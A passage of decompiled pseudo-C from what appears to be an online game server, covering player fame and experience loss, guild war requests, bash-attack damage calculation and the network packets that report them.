funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 32067); if ( v3 < 0xC350 ) { v4 = famegain; v5 = famegain + v3; *(_DWORD *)((char *)v2 + 32067) = v5; if ( (unsigned int)v5 >= 0xC350 ) { v4 = 50000 - v5 + famegain; *(_DWORD *)((char *)v2 + 32067) = 50000; } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9286; *(_DWORD *)(v6 + 2) = v4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_GainFame : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); } //----- (0041FC70) -------------------------------------------------------- unsigned int __cdecl ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa) { unsigned int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((signed int)nextexp - (signed int)prevexp) / 0x64u; if ( fa ) v3 = v3 * *(_WORD *)(fa + 167) / 0x3E8; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); return v3; } //----- (0041FD00) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa) { void *v4; // esi@1 unsigned int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = shineparam.scp_param.commonparam[(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4)]->ExpLostAtPvP; if ( fa ) v5 = (signed int)(v5 * *(_WORD *)(fa + 169)) / 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); return v5; } //----- (0041FDD0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)) { int v4; // esi@1 int v5; // ecx@2 char v6; // dl@2 int v7; // eax@3 int v8; // eax@4 int result; // eax@6 unsigned __int8 v10; // al@11 int v11; // edi@11 int v12; // ST2C_4@11 unsigned __int8 v13; // al@11 int v14; // ebp@11 unsigned int v15; // ebx@11 int v16; // eax@11 unsigned int v17; // ecx@11 int v18; // edi@11 unsigned int v19; // eax@11 unsigned int v20; // eax@15 int v21; // ecx@15 char *v22; // eax@17 int v23; // eax@19 char *v24; // ebx@20 ZoneBaseSession *v25; // eax@22 v4 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(v4 + 91702) ) { LOWORD(v5) = *(_WORD *)(v4 + 91704); v6 = 0; if ( (unsigned __int16)v5 < *(_WORD *)(v4 + 91076) ) { v8 = *(_DWORD *)(v4 + 91080) + 12 * (unsigned __int16)v5; v6 = *(_BYTE *)(v8 + 8); v7 = *(_DWORD *)v8; } else { v7 = 0; } v5 = (unsigned __int16)v5; if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Not in list", v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } if ( v7 == 0 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Null node", v5); goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) < 0xAu ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v4 + 1220))(v4, a2); v11 = LODWORD(shineparam.scp_param.nextexp[v10]); v12 = HIDWORD(shineparam.scp_param.nextexp[v10]); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); v14 = *(&shineparam.scp_param.AddBuffTime + 2 * v13); v15 = *(&shineparam.scp_param.MaxBuffTime + 2 * v13); v16 = a4(v4, v14, v15, v11, v12); v17 = *(_DWORD *)(v4 + 32043); v18 = v16; v19 = *(_DWORD *)(v4 + 32047); if ( (v19 || v17 >= v18) && v18 ) { v20 = (__PAIR__(v19, v17) - (unsigned int)v18) >> 32; v21 = v17 - v18; if ( __PAIR__(v20, v21) < __PAIR__(v15, v14) ) { v21 = v14; v20 = v15; v18 = *(_DWORD *)(v4 + 32043) - v14; } *(_DWORD *)(v4 + 32043) = v21; *(_DWORD *)(v4 + 32047) = v20; v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9233; *(_DWORD *)(v22 + 2) = v18; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v23 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 6); } v24 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4211; *((_WORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v24 + 2) = *(_DWORD *)(v4 + 32043); *((_DWORD *)v24 + 3) = *(_DWORD *)(v4 + 32047); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = v18; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = 0; } return result; } //----- (004200C0) -------------------------------------------------------- #error "4200C0: undefined or illegal type '#325' (funcsize=149)" //----- (004202D0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&netcmd[1].protocol && *(_DWORD *)&netcmd[3].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); if ( *(_DWORD *)&netcmd[5].protocol && *(_DWORD *)&netcmd[7].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[5]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); } //----- (004203A0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_GuildWarRequest(int guild1, int guild2) { char *v2; // eax@3 ZoneBaseSession *v3; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( guild1 && guild2 ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29816; *(_DWORD *)(v2 + 2) = guild1; *(_DWORD *)(v2 + 6) = guild2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest : Packet Too Long", 10); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"); } //----- (00420490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S18_13 & 1) ) { _S18_13 |= 1u; cmc_3.cmc_AllowMode = 4; atexit(_E19_9); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_3.cmc_AllowMode ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2732))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); } //----- (00420570) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); } //----- (004205B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CeaseFireSender::cfs_Send((CeaseFireSender *)v1 + 32014); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v1); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v1); *((_BYTE *)v1 + 88992) &= 0xFBu; *((_WORD *)v1 + 46274) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); } //----- (00420670) -------------------------------------------------------- int __usercall ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, signed int abstate, int absstrength, signed int absrate, int aggroclear) { void *v8; // ebp@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // cx@1 int v11; // eax@1 unsigned int v12; // eax@2 char *v13; // eax@2 int v14; // ecx@2 unsigned int v15; // eax@9 char *v16; // eax@9 int v17; // ecx@9 int v18; // esi@10 int v19; // esi@21 int v20; // ebx@21 char *v21; // esi@26 char v22; // al@28 char v23; // al@28 char v24; // al@28 char v25; // cl@28 int v26; // eax@30 char v27; // dl@31 char v28; // dl@31 __int16 v29; // ax@31 unsigned int v30; // edx@31 int v31; // ST34_4@31 int v32; // eax@35 int v33; // ST34_4@40 int v34; // ST20_4@40 int v35; // eax@40 int damage; // [sp+48h] [bp-C0h]@3 unsigned int v38; // [sp+4Ch] [bp-BCh]@6 AxialListPacketBroadcast alchat; // [sp+50h] [bp-B8h]@38 FunctionEntarance _; // [sp+5Ch] [bp-ACh]@1 int v41; // [sp+60h] [bp-A8h]@10 BattleObjectGroup::BattleObjectStruct battleobject; // [sp+64h] [bp-A4h]@1 int v43; // [sp+104h] [bp-4h]@1 v8 = a1; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Bash"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v10 = *((_WORD *)v8 + 2); v43 = 0; BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(&battleobject, v10, v9); v11 = *((_DWORD *)v8 + 1843); LOBYTE(v43) = 1; if ( v11 > 0 ) goto LABEL_5; (*(void (__stdcall **)(int))(**((_DWORD **)v8 + 1841) + 24))(engarg); v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v12; v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]]; v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1); *((_DWORD *)v13 + 8192) = v14; if ( (double)*(_WORD *)&v13[2 * v14] <= a2 ) { v11 = (*(int (__stdcall **)(int))(**((_DWORD **)v8 + 1841) + 28))(engarg); LABEL_5: damage = v11; goto LABEL_6; } damage = 0; *(_BYTE *)(engarg + 17) = 1; battleobject.bos_AbsoluteAggro = 1; LABEL_6: v38 = 0; while ( 1 ) { if ( damage <= 0 || abstate == 412 || (v15 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v15, v16 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v15]], v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1), *((_DWORD *)v16 + 8192) = v17, *(_WORD *)&v16[2 * v17] >= absrate) ) goto LABEL_17; v18 = battleobject.bos_AbstateList.statenum; v41 = battleobject.bos_AbstateList.statenum < 4u; if ( battleobject.bos_AbstateList.statenum < 4u ) break; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Too many abstates", battleobject.bos_AbstateList.statenum); LABEL_17: ++v38; if ( v38 >= 1 ) goto LABEL_21; } if ( abstate >= 412 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstate); goto LABEL_21; } if ( !dword_615280[abstate] ) goto LABEL_21; if ( !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(**(_DWORD **)(engarg + 4) + 1524))(dword_615280[abstate]) ) { battleobject.bos_AbstateList.array[v18].abstateidx = abstate; battleobject.bos_AbstateList.array[v18].strength = absstrength; battleobject.bos_AbstateList.array[v18].empowkeeptime = 0; ++battleobject.bos_AbstateList.statenum; if ( aggroclear > 0 ) (*(void (__thiscall **)(void *, _DWORD, int))(*(_DWORD *)v8 + 1712))(v8, *(_DWORD *)(engarg + 4), aggroclear); goto LABEL_17; } *(_BYTE *)(engarg + 20) = 1; LABEL_21: (*(void (__thiscall **)(void *))(*(_DWORD *)v8 + 1380))(v8); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1380))(); battleobject.bos_Damage = damage; BattleObjectGroup::BattleObjectList::bol_Store(&btlobjlist, &battleobject, clockwatch.cw_CurrTick + 10); v19 = *(_DWORD *)(engarg + 4); v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v19 + 1556))(*(_DWORD *)(engarg + 4)); *(_DWORD *)resthp = (*(int (__thiscall **)(int))(*(_DWORD *)v19 + 1236))(v19) - v20; (*(void (__stdcall **)(int))(**(_DWORD **)(engarg + 4) + 1548))(damage); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 40))() ) { *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } else { if ( damage < *(_DWORD *)resthp ) { *(_BYTE *)(engarg + 18) = 0; *(_DWORD *)resthp -= damage; } else { (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 36))(); *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } } v21 = gpp.pp_Buffer; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1212))() == 2 ) { if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v21 = 9264; v22 = v21[4]; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); v23 = (v22 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v22; v21[4] = v23; v24 = v23 ^ (v23 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v21[4] = v24; v25 = v24 ^ (v24 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; v21[4] = v25; v21[4] = v25 ^ (v25 ^ (*(_BYTE *)(engarg + 20) << 6)) & 0x40; *(_WORD *)(v21 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1272))(v8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v26 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v26 + 12))( v26, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 7); } } else { *(_WORD *)v21 = 9261; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); v27 = v21[6]; *((_WORD *)v21 + 2) = 2 * damage | *(_BYTE *)(engarg + 16) & 1; v28 = (v27 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v27; v21[6] = v28; v21[6] = v28 ^ (v28 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; *(_DWORD *)(v21 + 7) = *(_DWORD *)resthp; *(_WORD *)(v21 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1272))(v8); v30 = *((_WORD *)v21 + 2); v31 = *(_DWORD *)(v21 + 7); *(_WORD *)(v21 + 11) = v29; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShineMobileObject::so_Bash", *(_WORD *)(v21 + 13), v30 >> 1, v31); if ( !*(_DWORD *)(v21 + 7) ) (*(void (__stdcall **)(signed int))(**(_DWORD **)(engarg + 4) + 2168))(2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v32 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v32 + 12))( v32, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 15); } (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1556))(); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1236))(); } } if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v21 = 9265; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v21 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v21[6] = *(_BYTE *)(engarg + 14); *(_WORD *)(v21 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1272))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 9); LOBYTE(v43) = 2; } else { *(_WORD *)v21 = 9262; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v21 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v21[6] = *(_BYTE *)(engarg + 14); *(_DWORD *)(v21 + 7) = *(_DWORD *)resthp; *(_WORD *)(v21 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); *(_WORD *)(v21 + 11) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1272))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); LOBYTE(v43) = 3; } v33 = *((_WORD *)v21 + 2); v34 = *(_DWORD *)((char *)v8 + 78); v35 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v8, v35, v34, 0, 0, (int)&alchat, 0, v33); LOBYTE(v43) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v43) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&battleobject); --funcallanalizer.fca_stackpoint; v43 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); return damage; } //----- (00420C40) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, signed int abstate, int absstrength, signed int absrate, int aggroclear, int damage) { int v9; // ebx@1 int v10; // eax@1 char *v11; // esi@1 __int16 v12; // cx@1 __int16 v13; // ax@1 char v14; // al@3 unsigned __int16 v15; // ax@3 int v16; // edx@3 int v17; // ebp@3 char v18; // cl@5 char v19; // cl@5 char v20; // al@5 int v21; // eax@8 int aggrocleara; // [sp+44h] [bp+18h]@1 v9 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 2164))(v9); v10 = ShineObjectClass::ShineMobileObject::so_Bash( (void *)v9, a2, engarg, resthp, abstate, absstrength, absrate, aggroclear); v11 = gpp.pp_Buffer; v12 = v10; aggrocleara = v10; v13 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v13; if ( *(_BYTE *)(engarg + 17) || *(_BYTE *)(engarg + 19) ) { *(_WORD *)v11 = v13 & 0xFC2F | 0x2F; v18 = v11[4]; *((_WORD *)v11 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v19 = (v18 ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v18; v11[4] = v19; v20 = v19 ^ (v19 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v11[4] = v20; v11[4] = v20 ^ (v20 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; *(_WORD *)(v11 + 5) = *(_WORD *)(v9 + 88988); v17 = 7; } else { *(_WORD *)v11 = v13 & 0xFC2C | 0x2C; *((_WORD *)v11 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v14 = (v11[6] ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v11[6]; v11[6] = v14; v11[6] = v14 ^ (v14 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; *((_WORD *)v11 + 2) = 2 * v12 | *(_BYTE *)(engarg + 16) & 1; *(_DWORD *)(v11 + 7) = *(_DWORD *)resthp; v15 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); v16 = *(_DWORD *)(v11 + 7); *(_WORD *)(v11 + 13) = v15; *(_WORD *)(v11 + 11) = *(_WORD *)(v9 + 88988); v17 = 15; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShinePlayer::so_Bash", v15, (unsigned int)*((_WORD *)v11 + 2) >> 1, v16); if ( !*(_DWORD *)(v11 + 7) ) (*(void (__thiscall **)(_DWORD, signed int))(**(_DWORD **)(engarg + 4) + 2168))(*(_DWORD *)(engarg + 4), 3); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v17) ) { v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 764))(v9); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v9, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Bash : Packet Too Long", v17); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); return aggrocleara; } //----- (00420E70) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2) { void *v2; // edi@1 int v3; // esi@1 bool result; // al@5 bool v5; // bl@9 int v6; // [sp+14h] [bp+4h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2388))(a2) ) v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2388))(a2); if ( (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 988))(v3, 291) || (v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2160))(v3), v6 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2160))(v2)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = 0; } else { v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 2 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 8 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = v5; } return result; } //----- (00420FB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2) { void *v2; // esi@1 char *v3; // edi@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 int v7; // ecx@1 int v8; // eax@2 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@1 int v10; // [sp+3Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9287; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v3 + 2) = *(_WORD *)(a2 + 4); v4 = **((_DWORD **)v2 + 1776); v10 = 0; v3[6] = (*(int (__stdcall **)(char *))(v4 + 4))((char *)v2 + 7104); *(_WORD *)(v3 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1272))(v2); v3[10] = *((_BYTE *)v2 + 7376); ++*((_WORD *)v2 + 3692); v3[9] = *((_BYTE *)v2 + 7384); 